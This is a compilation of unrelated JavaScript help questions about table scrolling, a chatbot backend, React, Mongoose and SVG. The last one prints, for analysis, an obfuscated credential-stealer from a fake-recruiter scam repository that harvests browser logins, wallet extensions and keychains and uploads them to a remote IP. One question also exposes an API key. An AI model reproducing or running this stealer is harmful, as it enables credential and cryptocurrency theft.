Category: javascript

It’s really difficult to explain what I need in the title, so here’s an example.

This is my table:

body { 
  margin: 0;
  padding: 0; 
}

header { 
  margin-bottom: 15px;
  display: flex;
  justify-content: center;
}

.header__info-wrapper { 
  display: flex;
  flex-direction: column;
  justify-content: center;
  align-items: center;
  gap: 10px;
}

.infoboard__wrapper { 
  display: flex;
  gap: 15px;
  background-color: #f1f1f1;
  padding: 5px 10px;
  border-radius: 10px;
}

.title { 
  font-size: 30px;
  font-weight: bold;
}

.view {
  margin: auto;
  width: 100vw;
}

table {
  border-collapse: collapse;
  width: 100%;  

  table-layout: fixed;
}

th {
  position: sticky;
  top:0;  
}

td, th {
  border: 1px solid #dddddd;
  text-align: left;
  padding: 8px;
  background-color: white;
  box-sizing: border-box;    
}

table th:not(:nth-child(1)):not(:nth-child(2)) {
  width: 300px;
}

tr:nth-child(even) td {
  background-color: #dddddd;
}

.wrapper {
  position: relative;
  /* overflow-x: auto; */
  height: 100vh;
}

.sticky-col {  
  position: sticky;
  z-index: 1;
}

th.sticky-col{
  z-index: 2;
}

.first-col {
  width: 150px;
  min-width: 150px;
  max-width: 150px;
  left: 0;  
}

.second-col {
  width: 150px;
  min-width: 150px;
  max-width: 150px;
  left: 100px;
}

.wrapped-content{
  width: 250px;
  white-space: normal;
}

<header>
    <div class="header__info-wrapper">
      <div class="title">Some Title</div>
      <div class="infoboard__wrapper">
        <div class="basic__info">
          <div>Total Number:</div>
          <div>
            <ifx-number-indicator id="number__indicator-total"></ifx-number-indicator>
          </div>
        </div>
        <div class="basic__info">
          <div>Completed:</div>
          <div>
            <ifx-number-indicator id="number__indicator-completed"></ifx-number-indicator>
          </div>
        </div>
        <div class="basic__info">
          <div>Planned:</div>
          <div>
            <ifx-number-indicator id="number__indicator-planned"></ifx-number-indicator>
          </div>
        </div>
      </div>
    </div>
  </header>

  <div class="view">
    <div class="wrapper">
      <table class="table">
        <thead>
          <tr>
            <th class="sticky-col first-col">Preview</th>
            <th class="sticky-col second-col">Component</th>
            <th>Version 1</th>
            <th>Version 2</th>
            <th>Version 3</th>
            <th>Version 4</th>
            <th>Version 5</th>

          </tr>
        </thead>
        <tbody>
          <tr>
            <td class="sticky-col first-col">1</td>
            <td class="sticky-col second-col">Mark</td>
            <td>Ham</td>
            <td>Micro</td>
          </tr>
          <tr>
            <td class="sticky-col first-col">2</td>
            <td class="sticky-col second-col">Jacob</td>
            <td>Smith</td>
            <td>Adob Adob Adob AdobAdob Adob Adob Adob Adob</td>
          </tr>
          <tr>
            <td class="sticky-col first-col">3</td>
            <td class="sticky-col second-col">Larry</td>
            <td>Wen</td>
            <td><div class="wrapped-content">Goog Goog Goog GoogGoog Goog Goog Goog Goog Goog Goog Goog</div></td>
          </tr>
          <tr>
            <td class="sticky-col first-col">3</td>
            <td class="sticky-col second-col">Larry</td>
            <td>Wen</td>
            <td>Goog Goog Goog GoogGoog Goog Goog Goog Goog Goog</td>
          </tr>
          <tr>
            <td class="sticky-col first-col">4</td>
            <td class="sticky-col second-col">Larry</td>
            <td>Wen</td>
            <td>Goog Goog Goog GoogGoog Goog Goog Goog Goog Goog</td>
          </tr>
          <tr>
            <td class="sticky-col first-col">5</td>
            <td class="sticky-col second-col">Larry</td>
            <td>Wen</td>
            <td>Goog Goog Goog GoogGoog Goog Goog Goog Goog Goog</td>
          </tr>
          <tr>
            <td class="sticky-col first-col">6</td>
            <td class="sticky-col second-col">Larry</td>
            <td>Wen</td>
            <td>Goog Goog Goog GoogGoog Goog Goog Goog Goog Goog</td>
          </tr>
          <tr>
            <td class="sticky-col first-col">7</td>
            <td class="sticky-col second-col">Larry</td>
            <td>Wen</td>
            <td>Goog Goog Goog GoogGoog Goog Goog Goog Goog Goog</td>
          </tr>
          <tr>
            <td class="sticky-col first-col">7</td>
            <td class="sticky-col second-col">Larry</td>
            <td>Wen</td>
            <td>Goog Goog Goog GoogGoog Goog Goog Goog Goog Goog</td>
          </tr>
          <tr>
            <td class="sticky-col first-col">7</td>
            <td class="sticky-col second-col">Larry</td>
            <td>Wen</td>
            <td>Goog Goog Goog GoogGoog Goog Goog Goog Goog Goog</td>
          </tr>
          <tr>
            <td class="sticky-col first-col">7</td>
            <td class="sticky-col second-col">Larry</td>
            <td>Wen</td>
            <td>Goog Goog Goog GoogGoog Goog Goog Goog Goog Goog</td>
          </tr>
          <tr>
            <td class="sticky-col first-col">7</td>
            <td class="sticky-col second-col">Larry</td>
            <td>Wen</td>
            <td>Goog Goog Goog GoogGoog Goog Goog Goog Goog Goog</td>
          </tr>
          <tr>
            <td class="sticky-col first-col">7</td>
            <td class="sticky-col second-col">Larry</td>
            <td>Wen</td>
            <td>Goog Goog Goog GoogGoog Goog Goog Goog Goog Goog</td>
          </tr>
          <tr>
            <td class="sticky-col first-col">7</td>
            <td class="sticky-col second-col">Larry</td>
            <td>Wen</td>
            <td>Goog Goog Goog GoogGoog Goog Goog Goog Goog Goog</td>
          </tr>
          <tr>
            <td class="sticky-col first-col">7</td>
            <td class="sticky-col second-col">Larry</td>
            <td>Wen</td>
            <td>Goog Goog Goog GoogGoog Goog Goog Goog Goog Goog</td>
          </tr>
          <tr>
            <td class="sticky-col first-col">7</td>
            <td class="sticky-col second-col">Larry</td>
            <td>Wen</td>
            <td>Goog Goog Goog GoogGoog Goog Goog Goog Goog Goog</td>
          </tr>
          <tr>
            <td class="sticky-col first-col">7</td>
            <td class="sticky-col second-col">Larry</td>
            <td>Wen</td>
            <td>Goog Goog Goog GoogGoog Goog Goog Goog Goog Goog</td>
          </tr>
          <tr>
            <td class="sticky-col first-col">7</td>
            <td class="sticky-col second-col">Larry</td>
            <td>Wen</td>
            <td>Goog Goog Goog GoogGoog Goog Goog Goog Goog Goog</td>
          </tr>
          <tr>
            <td class="sticky-col first-col">7</td>
            <td class="sticky-col second-col">Larry</td>
            <td>Wen</td>
            <td>Goog Goog Goog GoogGoog Goog Goog Goog Goog Goog</td>
          </tr>
          <tr>
            <td class="sticky-col first-col">7</td>
            <td class="sticky-col second-col">Larry</td>
            <td>Wen</td>
            <td>Goog Goog Goog GoogGoog Goog Goog Goog Goog Goog</td>
          </tr>
        </tbody>
      </table>
    </div>
  </div>

This is the behavior that I want! Fixed th and fixed first two cols + fixed horizontal scrollbar.
The problem is that, because the horizontal scrollbar appears on the body, the whole body is moving! So, the content inside Header moves too. I don’t want that. I want the horizontal scrollbar to only move the content inside the table, not the whole body. I want the vertical scollbar to be on the body so the entire page can scroll down.

If you uncomment the overflow-x: auto;, then the horizontal scrollbar moves the table content, but the vertical scrollbar only moves the table content too, and not the entire body, which is what I want! On top of that, because of the header content, there are actually two scrollbars.

How to achieve what I want? How to make the horizontal scrollbar only move the content of the table while the vertical one move the entire page?

I want to make a half wheel animation with javascript, the purpose of the animation is an animation with 50 or more long names and I want to determine the winner in the variable, but I could not make this animation and I could not find any examples on the internet.

example:

sample code

I’m using window.getComputedStyle when node added into document.body. But there’s a problem: it’s always outputs none, but I’m sure that child have a filter style and it’s not none. What’s the problem?

My code is:

const observer = new MutationObserver((mutationList, observer) => {
    for (const mutation of mutationList) {
        const target = mutation.target;
        const style = window.getComputedStyle(target);
        console.log(style.filter);
    }
});

observer.observe(document.body, { childList: true, subtree: true });

I tried to use setTimeout and others but it didn’t solve the problem

I am somewhat new to programming in HTML and JavaScript and creating websites/backend servers so there could be many errors.

Goal: I am attempting to create a chatbot with insurance knowledge using OpenAI libraries so it will be similar to ChatGPT.

Problem: When I send a message to my chatbot I get an error so it responds with “We encountered an error. Please try again.” instead of an actual response. When inspecting the page I see the following errors:

1. Failed to load resource: net::ERR_CERT_COMMON_NAME_INVALID
2. Error: TypeError: Failed to fetch

Website/Domain: My website is hosted through Wix and I am using html/javascript/css to code the chatbot UI and the fetch request to my Elastic Beanstalk server.

Elastic Beanstalk: I am running this environment as my backend server so that my frontend can make requests to get OpenAI libraries and utilize my API Key and then is supposed to create a response and send it back to my frontend.

I added inbound rules to my EB environment’s EC2 security group:

HTTP requests on port 80 and 0.0.0.0/0

HTTPS requests on port 443 and 0.0.0.0/0.

I added listeners to the classic load balancer of my EB environment:

Listener #1) Protocol: HTTP, Port: 80, Instance Protocol: HTTP, Instance Port: 80.

Listener #2) Protocol: HTTPS, Port: 443, Instance Protocol: HTTP, Instance Port: 80, SSL Certificate: I created one for my-website.com using ACM

My Website/Domain Code:

<!DOCTYPE html>
<html>
<head>
    <style>
        #chatWindow {
            position: fixed;
            bottom: 20px;
            right: 20px;
            width: 300px;
            height: 400px;
            border: 1px solid orange;
            padding: 10px;
            overflow-y: scroll;
            background-color: white;
            box-shadow: 0 4px 6px rgba(0,0,0,0.1);
            z-index: 1000; /* Ensure it's above other content */
        }
        #chatbotBanner {
            background-color: orange; /* Banner background color */
            color: white; /* Text color */
            text-align: center; /* Center the text */
            padding: 5px; /* Padding inside the banner */
            font-weight: bold; /* Make the text bold */
        }
        #userInput {
            width: 300px;
            border: 2px solid orange;
            margin-top: 10px;
            position: fixed;
            bottom: 20px;
            right: 82px;
            height: 50px;
            padding: 10px;
            overflow-y: scroll;
            background-color: white;
            box-shadow: 0 4px 6px rgba(0,0,0,0.1);
            z-index: 1000; /* Ensure it's above other content */
        }
        .message {
            margin: 5px;
            padding: 5px;
            border-radius: 5px;
        }
        .user {
            text-align: right;
            color: white;
            padding: 5px;
            margin: 5px;
            border-radius: 5px;
            background-color: #4287f5;
        }

        .bot {
            text-align: left;
            color: white;
            padding: 5px;
            margin: 5px;
            border-radius: 5px;
            background-color: #8c8e9c;
        }
    </style>
</head>
<body>
    <!-- Chatbot Toggle Button -->
    <div id="chatbotToggleBtn" style="position: fixed; bottom: 20px; right: 20px; z-index: 1001; cursor: pointer;">
    <img src="https://my-website.com/wp-content/uploads/2024/03/download.png" alt="Chat" style="width: 60px; height: 60px;"> <!-- Example path to a chat icon -->
    </div>

    <!-- Chatbot Window (initially hidden) -->
    <div id="chatWindow" style="position: fixed; bottom: 90px; right: 82px; width: 300px; height: 400px; border: 3px solid orange; padding: 10px; overflow-y: scroll; background-color: white; box-shadow: 0 4px 6px rgba(0,0,0,0.1); z-index: 1000;">
    <!-- Chatbot UI goes here -->
    <div id="chatbotBanner" style="background-color: orange; color: white; text-align: center; padding: 5px; font-weight: bold;">
        Chat with Erica | Available 24/7!
    </div>
    <input type="text" id="userInput" placeholder="Say something..." />
    </div>
    <!--<div id="chatWindow"></div>-->
    <script>
        document.getElementById('userInput').addEventListener('keypress', function(e) {
            if (e.key === 'Enter') {
                var inputText = this.value;
                displayMessage(inputText, 'user');
                this.value = ''; // Clear the input box
              
                // Prepare the payload
                const payload = {
                    prompt: inputText
                };

                //request to your server
                fetch('https://my-site.xx-xxx.us-east-1.elasticbeanstalk.com/generate-response', {
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/json',
                    },
                    body: JSON.stringify(payload),
                })
                .then(response => {
                    if (!response.ok) {
                        throw new Error(`HTTP error! status:                                    ${response.status}`);
                    }
                    return response.text(); // Parse the JSON response
                })
                .then(data => {
                    const botMessage = data.choices[0].text.trim();
                    displayMessage(botMessage, 'bot');
                })
                .catch(error => {
                    console.error('Error:', error);
                    displayMessage('We encountered an error. Please try again.', 'bot');
                });
            }
        });

        function displayMessage(message, sender) {
            const chatWindow = document.getElementById('chatWindow');
            const messageDiv = document.createElement('div');
            messageDiv.textContent = message;
            messageDiv.className = sender; // Apply different styling based on sender
            chatWindow.appendChild(messageDiv);
            chatWindow.scrollTop = chatWindow.scrollHeight;
        }

        document.getElementById('chatbotToggleBtn').onclick = function() {
            if (chatWindow.style.display === 'none') {
                chatWindow.style.display = 'block';
            } else {
                chatWindow.style.display = 'none';
            }
        };
    </script>
</body>
</html>

My Backend/Elastic Beanstalk Code (Node.js):

const OpenAI = require('openai');

require('dotenv').config();
const express = require('express');
const cors = require('cors');
const app = express();
const port = process.env.PORT || 8080;

const openai = new OpenAI({apiKey: process.env.OPENAI_API_KEY});

app.use(express.json());
app.use(express.urlencoded({ extended: true }));
app.use(cors());

app.get('/', (req, res) => {
    res.send('Welcome to My Chatbot Backend!');
});

app.post('/generate-response', async (req, res) => {
    try {
        const response = await openai.completions.create({
            model: 'text-davinci-003', // or another model
            prompt: "Say this is a test",
            max_tokens: 7,
         });
         console.log(response.data)
         res.json(response.data);
     } catch (error) {
         console.error(error);
         res.status(500).json({message: 'An error occurred while generating a response.', error: error.toString() });
     }
});

// General error handler
app.use((err, req, res, next) => {
    console.error(err.stack);
    res.status(500).json({ message: 'Internal Server Error', error: err.toString() });
});

app.listen(port, () => {
    console.log(`Server running on port ${port}`);
});

I have a React component that is basically a card with a title, and an image. Id’like the image to change on hover of the card, not of the img element, which is what I have happening now.

I know I can do this with CSS and the background property, but I’d rather the button stay re-useable as a component and keep accepting props rather than tying the :hover effect to some static CSS.

Here is what I have at the moment:

export default function ExternalProfile({ title, imageUrl, altImageUrl, href }) {
  return (
    <a href={href} className="card externalCard">
      <h3>{title}</h3>
      <img
        className="externalImage"
        src={imageUrl}
        onMouseOver={(e) => (e.currentTarget.src = `${altImageUrl}`)}
        onMouseOut={(e) => (e.currentTarget.src = `${imageUrl}`)}
        alt={title + " icon"}
      />
      <img className="arrow" src="/arrow.svg" alt="Arrow" />
    </a>
  );
}

I have tried doing it as I would in vanilla JS, by putting the target element in a variable and changing it’s src attribute on hover, like so:

export default function ExternalProfile({
  title,
  imageUrl,
  altImageUrl,
  href,
}) {
  const imageVar = document.getElementsByClassName("externalImage");
  console.log(imageVar);

  return (
    <a
      href={href}
      className="card externalCard"
      onMouseOver={(imageVar.src = `${altImageUrl}`)}
      onMouseOut={(imageVar.src = `${imageUrl}`)}
    >
      <h3>{title}</h3>
      <img className="externalImage" src={imageUrl} alt={title + " icon"} />
      <img className="arrow" src="/arrow.svg" alt="Arrow" />
    </a>
  );
}

But this gives the error Type 'string' is not assignable to type 'MouseEventHandler<HTMLAnchorElement>'.

I have an image that serves as a background image. It consists of a pattern of vertical stripes. I want to be able to extend the image in height without it resizing horizontally by creating an expansion of the width of the stripes.

Here is a code extract :

 <section className="relative mt-16 flex h-[34.188rem] items-center text-white">
        <Image
          src="/frame434.svg"
          width={0}
          height={0}
          alt="background image"
          className="absolute left-0 top-0 h-full w-auto"
        />
        <div className="ml-12 grid grid-cols-2 lg:ml-28">
          <div className="self-center">
            <h1 className="max-w-2xl font-extrabold uppercase lg:text-[5.25rem]">
              <em>Les lessives </em>
            </h1>
            <p className="max-w-2xl">
              L’iconique lessive en poudre Bonux revient, accompagné aujourd’hui de ses versions concentrées et en
              capsules
            </p>
          </div>
          <div className="mt-32 w-full">
            <Kid />
          </div>
        </div>
      </section>

I’m returning to code after a long break so I appreciate your patience. I am trying to seed a Parks API into Mongoose but am not seeing the documents generated in the console through the “parksData” JSON.

I am retrieving the API because I can console log the objects and I am properly referencing the model. However, the bug occurs when I try to reiterate each park through the for loop to create a new document. (No actual error code, but the code isn’t behaving like expected. It’s not logging that the parks are saving.)

Below is the seed file. I will also put the model below.

const connection = require('../config/connection');
const { Park } = require('../models');
let saveCounter = 0;

function getData() {
    const parksAPI = "https://developer.nps.gov/api/v1/parks?&api_key=2e5oEbbGmJ48yr9eoR5qDC5S7k8Hif4f4ZaesDyt"
    fetch (parksAPI)
        .then(function (response) {
            if (!response.ok) {
                throw response.json();
            }
            return response.json();
        })
        .then(function (parksData) {
            // console.log("parksData", parksData);
            // console.log(Park.prototype);
            if (parksData) {
                for (let i = 0; i < parksData.length; i++) {
                let park = new Park({
                    id: parksData[i].id,
                    fullname: parksData[i].fullName,
                    description: parksData[i].description,
                    latitude: parksData[i].latitude,
                    longitude: parksData[i].longitude,
                    activities: parksData[i].activities,
                    states: parksData[i].states,
                    entranceFees: parksData[i].entranceFees,
                    entrancePasses: parksData[i].entrancePasses,
                    directionsInfo: parksData[i].directionsInfo,
                    directionsUrl: parksData[i].directionsUrl,
                    operatingHours: parksData[i].operatingHours,
                    addresses: parksData[i].addresses,
                    images: parksData[i].images,
                    weatherInfo: parksData[i].weatherInfo,
                    name: parksData[i].name,
                    designation: parksData[i].designation
                })

                park.save(() => {
                    console.log("saved" + park)

                    saveCounter++;

                    if (saveCounter === parksData.length) {
                        mongoose.disconnect()
                            .then(() => console.log("saved successfully and mongoose disconnected"))
                            .catch(error => console.log(error));
                        }
                });
            }
        }
            if (!parksData) {
                console.log("no results found :(")
            } 
        })
}


connection.on('error', (err) => err);

connection.once('open', async () => {
    console.log('connected');
    //drop existing users
    await Park.deleteMany({});
    getData();
})

const { Schema, model } = require('mongoose');

const parkSchema = new Schema({
    id: {
        type: Number,
        required: true,
    },
    fullname: {
        type: String,
        required: true,
    },
    description: {
        type: String,
    },
    latitude: {
        // needs to be decimal
        type: Number,
    },
    longitude: {
        type: Number
    },
    activities: [ {
        type: String
    }],
    topics: [ {
        type: String
    }],
    states: [ {
        type: String,
        required: true,
    }],
    entranceFees: [ {
        type: String,
        required: true,
    }],
    entrancePasses: [ {
        type: String,
        required: true,
    }],
    directionsInfo: {
        type: String
    },
    directionsUrl: {
        type: String
    },
    operatingHours: [ {
        type: String
    }],
    addresses: [ {
        type: String,
    }],
    images: [{
        type: String,
    }],
    weatherInfo: {
        type: String,
    },
    name: {
        type: String,
        required: true,
    },
    designation: {
        type: String,
        required: true,
    },
});

const Park = model('park', parkSchema)
module.exports = Park;

const sql = `SELECT *
            FROM ratemanagement
            WHERE duty = ?
            AND vehicleType = ?
            AND (UptoHours > ? OR UptoKMS > ?)
            ORDER BY UptoHours ASC, UptoKMS ASC ;           
            `

i have a 4 inputs . there are two values dinimically change .consider there are 4 rows in table . if either one of my value is grater than rwo value , it will go for next row . finally my given tow value is smaller than the table tow feild values . if there no condition satify it should return bigest value row

I’m trying to send a post request to my local c# backend but also getting this error. Is there anyone know why?

I took a look to “Circular Reference” topic but cant find anything usefull

I check my itemAddForm variable several times and it should be the problem. But i cant see what is it as junior

export class ItemaddComponent implements OnInit {
  itemaddForm!: FormGroup;

  constructor(
    private formBuilder: FormBuilder,
    private httpClient: HttpClient) {}

  ngOnInit(): void {
    this.createFormGroup();
  }

  createFormGroup() {
    this.itemaddForm = this.formBuilder.group({
      name: new FormControl('', [Validators.required,]),
      itemType: new FormControl('', [
        Validators.required,
        Validators.minLength(2),
      ]),
      category: new FormControl('', [
        Validators.required,
        Validators.minLength(2),
      ]),
      genre: new FormControl(),
      publicationDate: new FormControl(),
      totalPages: new FormControl(),
      language: new FormControl(),
      isAvailable:  new FormControl(),
      publisherId:  new FormControl(),
      locationId:  new FormControl(), 
      byPassCache: true,
    });
  }
  submit() {
    this.itemaddForm.markAsDirty();
    if (this.itemaddForm.valid) {
      console.log('tıklandı')
      this.httpClient.post('http://localhost:60805/api/items',this.itemaddForm).subscribe({
        next: (next) => {
          console.log('Backendden cevap geldi:', next);
        },
        error: (error) => {
          console.log('Backendden hatalı cevap geldi:', error);
        },
        complete: () => {
          console.log('Backend isteği sonlandı.');
        },
      });
      console.log(this.itemaddForm.value);
      console.log('tıklandı')
    }
  }
}

I have “multiline” svg text element with tspans as lines like this:

<svg>
  <text>
    <tspan x="50%" dy="1em">hello</tspan>
    <tspan x="50%" dy="1em">world</tspan>
  </text>
</svg>

I want to append a line (as a tspan) to it like this:

let svgText = document.querySelector('text')
let tspan = document.createElement('tspan')
tspan.innerHTML = 'third line'
svgText.appendChild(tspan)

I can verify that it’s actually appended and everything seems normal

console.log([...svgText.children].map(e => e.innerHTML))
console.log([...svgText.childNodes].map(e => e.nodeType))

But it’s not visible and inspector says it has 0x0 size.

I tried to create text node and add it to tspan instead of using innerHTML but it has the same result.

I tried to change innerHTML of existing tspan and it worked as expected.

I tried to change x and dy attributes of tspan and it doesn’t fix a problem.

codepen

What am I missing?

How to store some table info into IndexedDB storage by using Oracle Apex.Are there any better options to store some info on client side other than that ,i need to store few tables into browser storage but local storage is not an optio becouse its limited to 5mb.
.

So I was running a GitHub repo of an auction website.
https://github.com/hmellor/auction-website?tab=readme-ov-file
I’ve followed all the instructions. At first, like when I ran the dev server at first, the items could be seen, but after setting up firebase, I can’t see any items. I followed the instructions in the repo and created a user database. I don’t know what seems to be the issue…

I tried debugging by checking the codes but I’m not able to fix it.

Ran a script with this hidden scam code…what exactly does it do?

I got a message from a “recruiter” on LinkedIn for a React/blockchain dev role. The first step was to fix a couple issues in a repository they linked, a MERN application. The following code appeared hidden in one of the router files on the backend. I ran it when I was not connected to the internet. Just want to know exactly what it does so I can take the necessary next steps to protect myself.

Object.prototype.toString,
  Object.defineProperty,
  Object.getOwnPropertyDescriptor;
const t = "base64",
  c = "utf8",
  a = require("fs"),
  $ = require("os"),
  r = (a) => ((s1 = a.slice(1)), Buffer.from(s1, t).toString(c));
(pt = require(r("zcGF0aA"))),
  (rq = require(r("YcmVxdWVzdA"))),
  (cr = require(r("aY3J5cHRv"))),
  (ex = require(r("aY2hpbGRfcHJvY2Vzcw"))[r("cZXhlYw")]),
  (hs = $[r("caG9zdG5hbWU")]()),
  (pl = $[r("YcGxhdGZvcm0")]()),
  (hd = $[r("ZaG9tZWRpcg")]()),
  (td = $[r("cdG1wZGly")]()),
  (tp = $[r("AdHlwZQ")]());
let e;
const n = (a) => Buffer.from(a, t).toString(c),
  l = () => {
    let t = "MTQ3LjEyNCaHR0cDovLw4yMTIuODk6MTI0NA==  ";
    for (var c = "", a = "", $ = "", r = "", e = 0; e < 10; e++)
      (c += t[e]), (a += t[10 + e]), ($ += t[20 + e]), (r += t[30 + e]);
    return (c = c + $ + r), n(a) + n(c);
  },
  s = (t) =>
    t.replace(/^~([a-z]+|/)/, (t, c) =>
      "/" === c ? hd : `${pt[n("ZGlybmFtZQ")](hd)}/${c}`
    ),
  h = "VGVhMG00",
  o = "Z2V0",
  i = "Ly5ucGw",
  Z = "d3JpdGVGaWxlU3luYw",
  m = "L2NsaWVudA",
  u = n("ZXhpc3RzU3luYw"),
  d = "TG9naW4gRGF0YQ",
  y = "Y29weUZpbGU";
function p(t) {
  const c = n("YWNjZXNz" + "U3luYw");
  try {
    return a[c](t), !0;
  } catch (t) {
    return !1;
  }
}
const b = n("RGVmYXVsdA"),
  G = n("UHJvZmlsZQ"),
  f = r("aZmlsZW5hbWU"),
  W = r("cZm9ybURhdGE"),
  Y = r("adXJs"),
  w = r("Zb3B0aW9ucw"),
  V = r("YdmFsdWU"),
  v = n("cmVhZGRpclN5bmM"),
  j = n("c3RhdFN5bmM"),
  L = (n("aXNEaXJlY3Rvcnk"), n("cG9zdA")),
  x = "Ly5jb25maWcv",
  z = "L0xpYnJhcnkvQXBwbGljYXRpb24gU3VwcG9ydC8",
  F = "L0FwcERhdGEv",
  R = "L1VzZXIgRGF0YQ",
  N = "R29vZ2xlL0Nocm9tZQ",
  X = "QnJhdmVTb2Z0d2FyZS9CcmF2ZS1Ccm93c2Vy",
  Q = "Z29vZ2xlLWNocm9tZQ",
  _ = [
    "TG9jYWwvQnJhdmVTb2Z0d2FyZS9CcmF2ZS1Ccm93c2Vy",
    X,
    "QnJhdmVTb2Z0d2FyZS9CcmF2ZS1Ccm93c2Vy",
  ],
  J = ["TG9jYWwvR29vZ2xlL0Nocm9tZQ", N, Q],
  g = [
    "Um9hbWluZy9PcGVyYSBTb2Z0d2FyZS9PcGVyYSBTdGFibGU",
    "Y29tLm9wZXJhc29mdHdhcmUuT3BlcmE",
    "b3BlcmE",
  ];
let k = "comp";
const U = [
    "bmtiaWhmYmVv",
    "ZWpiYWxiYWtv",
    "Zmhib2hpbWFl",
    "aG5mYW5rbm9j",
    "aWJuZWpkZmpt",
    "YmZuYWVsbW9t",
    "YWVhY2hrbm1l",
    "aGlmYWZnbWNj",
  ],
  B = [
    "Z2FlYW9laGxlZm5rb2RiZWZncGdrbm4",
    "cGxjaGxnaGVjZGFsbWVlZWFqbmltaG0",
    "bGJvaHBqYmJsZGNuZ2NuYXBuZG9kanA",
    "ZmVvZmJkZGdjaWpubWhuZm5rZG5hYWQ",
    "bWtwY25scGVia2xtbmtvZW9paG9mZWM",
    "ZWltaGxwbWdqbmpvcGhocGtrb2xqcGE",
    "ZnBoZXBjY2lvbmJvb2hja29ub2VlbWc",
    "ZHBla3Bsb21qamtjZmdvZG5oY2VsbGo",
  ],
  q = "Y3JlYXRlUmVhZFN0cmVhbQ",
  C = async (t, c, $) => {
    let r = t;
    if (!r || "" === r) return [];
    try {
      if (!p(r)) return [];
    } catch (t) {
      return [];
    }
    c || (c = "");
    let e = [];
    const l = n("TG9jYWwgRXh0ZW5zaW9uIFNldHRpbmdz"),
      s = n(q),
      h = n("LmxkYg"),
      o = n("LmxvZw");
    for (let $ = 0; $ < 200; $++) {
      const i = `${t}/${0 === $ ? b : `${G} ${$}`}/${l}`;
      for (let t = 0; t < U.length; t++) {
        const l = n(U[t] + B[t]);
        let Z = `${i}/${l}`;
        if (p(Z)) {
          try {
            far = a[v](Z);
          } catch (t) {
            far = [];
          }
          far.forEach(async (t) => {
            r = pt.join(Z, t);
            try {
              (r.includes(h) || r.includes(o)) &&
                e.push({ [V]: a[s](r), [w]: { [f]: `${c}${$}_${l}_${t}` } });
            } catch (t) {}
          });
        }
      }
    }
    if ($) {
      const t = n("c29sYW5hX2lkLnR4dA");
      if (((r = `${hd}${n("Ly5jb25maWcvc29sYW5hL2lkLmpzb24")}`), a[u](r)))
        try {
          e.push({ [V]: a[s](r), [w]: { [f]: t } });
        } catch (t) {}
    }
    return S(e), e;
  },
  S = (t) => {
    const c = r("YbXVsdGlfZmlsZQ"),
      a = n("L3VwbG9hZHM"),
      $ = { timestamp: e.toString(), type: h, hid: k, [c]: t },
      s = l();
    try {
      const t = { [Y]: `${s}${a}`, [W]: $ };
      rq[L](t, (t, c, a) => {});
    } catch (t) {}
  },
  T = async (t, c) => {
    try {
      const a = s("~/");
      let $ = "";
      ($ =
        "d" == pl[0]
          ? `${a}${n(z)}${n(t[1])}`
          : "l" == pl[0]
          ? `${a}${n(x)}${n(t[2])}`
          : `${a}${n(F)}${n(t[0])}${n(R)}`),
        await C($, `${c}_`, 0 == c);
    } catch (t) {}
  },
  H = async () => {
    let t = [];
    const c = n(d),
      $ = n(q),
      r = n("L0xpYnJhcnkvS2V5Y2hhaW5zL2xvZ2luLmtleWNoYWlu"),
      e = n("bG9na2MtZGI");
    if (((pa = `${hd}${r}`), a[u](pa)))
      try {
        t.push({ [V]: a[$](pa), [w]: { [f]: e } });
      } catch (t) {}
    else if (((pa += "-db"), a[u](pa)))
      try {
        t.push({ [V]: a[$](pa), [w]: { [f]: e } });
      } catch (t) {}
    try {
      const r = n(y);
      let e = "";
      if (((e = `${hd}${n(z)}${n(N)}`), e && "" !== e && p(e)))
        for (let n = 0; n < 200; n++) {
          const l = `${e}/${0 === n ? b : `${G} ${n}`}/${c}`;
          try {
            if (!p(l)) continue;
            const c = `${e}/ld_${n}`;
            p(c)
              ? t.push({ [V]: a[$](c), [w]: { [f]: `pld_${n}` } })
              : a[r](l, c, (t) => {
                  let c = [{ [V]: a[$](l), [w]: { [f]: `pld_${n}` } }];
                  S(c);
                });
          } catch (t) {}
        }
    } catch (t) {}
    return S(t), t;
  },
  A = async () => {
    let t = [];
    const c = n(d),
      $ = n(q);
    try {
      const r = n(y);
      let e = "";
      if (((e = `${hd}${n(z)}${n(X)}`), e && "" !== e && p(e)))
        for (let n = 0; n < 200; n++) {
          const l = `${e}/${0 === n ? b : `${G} ${n}`}/${c}`;
          try {
            if (!p(l)) continue;
            const c = `${e}/brld_${n}`;
            p(c)
              ? t.push({ [V]: a[$](c), [w]: { [f]: `brld_${n}` } })
              : a[r](l, c, (t) => {
                  let c = [{ [V]: a[$](l), [w]: { [f]: `brld_${n}` } }];
                  S(c);
                });
          } catch (t) {}
        }
    } catch (t) {}
    return S(t), t;
  },
  E = async () => {
    let t = [];
    const c = n(q),
      $ = n("a2V5NC5kYg"),
      r = n("bG9naW5zLmpzb24");
    try {
      let e = "";
      if (((e = `${hd}${n(z)}${n("RmlyZWZveA")}`), e && "" !== e && p(e)))
        for (let n = 0; n < 200; n++) {
          const l = 0 === n ? b : `${G} ${n}`,
            s = `${e}/${l}/${$}`,
            h = `${e}/${l}/${r}`;
          try {
            if (!p(s)) continue;
            t.push({ [V]: a[c](s), [w]: { [f]: `fk4_${n}` } });
          } catch (t) {}
          try {
            if (!p(h)) continue;
            t.push({ [V]: a[c](h), [w]: { [f]: `flj_${n}` } });
          } catch (t) {}
        }
    } catch (t) {}
    return S(t), t;
  },
  M = async () => {
    let t = [];
    n(d);
    const c = n(q);
    try {
      const t = n("Ly5sb2NhbC9zaGFyZS9rZXlyaW5ncy8");
      let $ = "";
      $ = `${hd}${t}`;
      let r = [];
      if ($ && "" !== $ && p($))
        try {
          r = a[v]($);
        } catch (t) {
          r = [];
        }
      r.forEach(async (t) => {
        pa = pt.join($, t);
        try {
          ldb_data.push({ [V]: a[c](pa), [w]: { [f]: `${t}` } });
        } catch (t) {}
      });
    } catch (t) {}
    return S(t), t;
  },
  I = async () => {
    let t = [];
    const c = n(d),
      $ = n(q);
    try {
      const r = n(y);
      let e = "";
      if (((e = `${hd}${n(x)}${n(Q)}`), e && "" !== e && p(e)))
        for (let n = 0; n < 200; n++) {
          const l = `${e}/${0 === n ? b : `${G} ${n}`}/${c}`;
          try {
            if (!p(l)) continue;
            const c = `${e}/ld_${n}`;
            p(c)
              ? t.push({ [V]: a[$](c), [w]: { [f]: `plld_${n}` } })
              : a[r](l, c, (t) => {
                  let c = [{ [V]: a[$](l), [w]: { [f]: `plld_${n}` } }];
                  S(c);
                });
          } catch (t) {}
        }
    } catch (t) {}
    return S(t), t;
  },
  O = async () => {
    let t = [];
    const c = n(q),
      $ = n("a2V5NC5kYg"),
